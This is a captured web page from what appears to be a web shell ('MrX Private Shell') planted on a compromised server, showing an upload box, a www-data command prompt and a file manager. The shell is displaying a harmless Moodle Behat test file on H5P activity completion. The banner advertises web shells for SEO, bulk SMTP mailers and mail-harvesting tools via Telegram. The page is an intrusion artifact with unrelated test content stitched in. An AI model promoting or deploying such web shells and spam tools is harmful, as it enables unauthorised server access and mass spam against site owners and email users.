__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@mod @mod_h5pactivity @core_h5p @_switch_iframe @core_completion
Feature: Completion of H5P activity by achieving a passing grade
  In order to complete an H5P activity
  As a student
  I need to be able to complete the h5p activity to receive a grade

  Background:
    Given the following "users" exist:
      | username | firstname | lastname | email                |
      | student1 | Vinnie    | Student1 | student1@example.com |
      | student2 | Vinnie    | Student2 | student2@example.com |
      | student3 | Vinnie    | Student3 | student3@example.com |
      | teacher1 | Darrell   | Teacher1 | teacher1@example.com |
    And the following "courses" exist:
      | fullname | shortname | category | enablecompletion |
      | Course 1 | C1        | 0        | 1                |
    And the following "course enrolments" exist:
      | user     | course | role           |
      | student1 | C1     | student        |
      | student2 | C1     | student        |
      | student3 | C1     | student        |
      | teacher1 | C1     | editingteacher |
    And the following "activity" exists:
      | activity            | h5pactivity                          |
      | course              | C1                                   |
      | name                | Music history                        |
      | completion          | 2                                    |
      | completionview      | 1                                    |
      | completionusegrade  | 1                                    |
      | completionpassgrade | 1                                    |
      | gradepass           | 25                                   |
      | packagefilepath     | h5p/tests/fixtures/filltheblanks.h5p |

  Scenario: Verify that the h5p completion conditions are displayed to teachers
    Given I change window size to "large"
    And I am on the "Music history" "h5pactivity activity" page logged in as teacher1
    Then "Music history" should have the "View" completion condition
    And "Music history" should have the "Receive a grade" completion condition
    And "Music history" should have the "Receive a passing grade" completion condition

  @javascript
  Scenario: Verify that students can complete an H5P activity by achieving a passing grade
    # Student 1 attempt the H5P and fills the blanks with the wrong answers... needs more geography lessons!
    Given I am on the "Music history" "h5pactivity activity" page logged in as student1
    And I switch to "h5p-player" class iframe
    And I switch to "h5p-iframe" class iframe
    And I should see "Of which countries are Berlin, Washington, Beijing, Canberra and Brasilia the capitals?"
    And I set the field with xpath "//input[contains(@aria-label,\"Blank input 1 of 4\")]" to "Rio de Janeiro"
    And I set the field with xpath "//input[contains(@aria-label,\"Blank input 2 of 4\")]" to "New York"
    And I set the field with xpath "//input[contains(@aria-label,\"Blank input 3 of 4\")]" to "Hamburg"
    And I set the field with xpath "//input[contains(@aria-label,\"Blank input 4 of 4\")]" to "Sydney"
    And I click on "Check" "button" in the ".h5p-question-buttons" "css_element"
    And I switch to the main frame
    And I reload the page
    And the "View" completion condition of "Music history" is displayed as "done"
    And the "Receive a grade" completion condition of "Music history" is displayed as "done"
    And the "Receive a passing grade" completion condition of "Music history" is displayed as "failed"

    # Student 2 attempts the H5P and fills the blanks with the correct answers.
    And I am on the "Music history" "h5pactivity activity" page logged in as student2
    And I switch to "h5p-player" class iframe
    And I switch to "h5p-iframe" class iframe
    And I should see "Of which countries are Berlin, Washington, Beijing, Canberra and Brasilia the capitals?"
    And I set the field with xpath "//input[contains(@aria-label,\"Blank input 1 of 4\")]" to "Brasilia"
    And I set the field with xpath "//input[contains(@aria-label,\"Blank input 2 of 4\")]" to "Washington"
    And I set the field with xpath "//input[contains(@aria-label,\"Blank input 3 of 4\")]" to "Berlin"
    And I set the field with xpath "//input[contains(@aria-label,\"Blank input 4 of 4\")]" to "Canberra"
    And I click on "Check" "button" in the ".h5p-question-buttons" "css_element"
    And I switch to the main frame
    And I reload the page
    And the "View" completion condition of "Music history" is displayed as "done"
    And the "Receive a grade" completion condition of "Music history" is displayed as "done"
    And the "Receive a passing grade" completion condition of "Music history" is displayed as "done"

    # Teacher confirms which students have completed the H5P activity.
    When I am on the "Course 1" "course" page logged in as "teacher1"
    Then "Vinnie Student1" user has completed "Music history" activity
    And "Vinnie Student2" user has completed "Music history" activity
    And "Vinnie Student3" user has not completed "Music history" activity

Filemanager

Name Type Size Permission Actions
add_h5pactivity.feature File 5.78 KB 0777
attempt_options.feature File 5.52 KB 0777
contentbank_link.feature File 5.69 KB 0777
define_settings.feature File 2.31 KB 0777
display_result_types.feature File 14.75 KB 0777
duplicate_delete_h5pactivity.feature File 1.93 KB 0777
grading_attempts.feature File 8.1 KB 0777
h5pactivity_availability.feature File 1.63 KB 0777
h5pactivity_completion.feature File 2.2 KB 0777
h5pactivity_completion_pass_grade.feature File 4.97 KB 0777
h5pactivity_deployment.feature File 2.84 KB 0777
h5pactivity_grade_settings.feature File 5.01 KB 0777
h5pactivity_reset_grades.feature File 2.6 KB 0777
inline_editing_content.feature File 10.15 KB 0777
locking.feature File 4.67 KB 0777
recent_activity.feature File 3.85 KB 0777
reports.feature File 2.17 KB 0777
result_fillin.feature File 2.69 KB 0777
result_longfillin.feature File 1.88 KB 0777
save_content_state.feature File 8.7 KB 0777
sending_attempt.feature File 4.74 KB 0777
Filemanager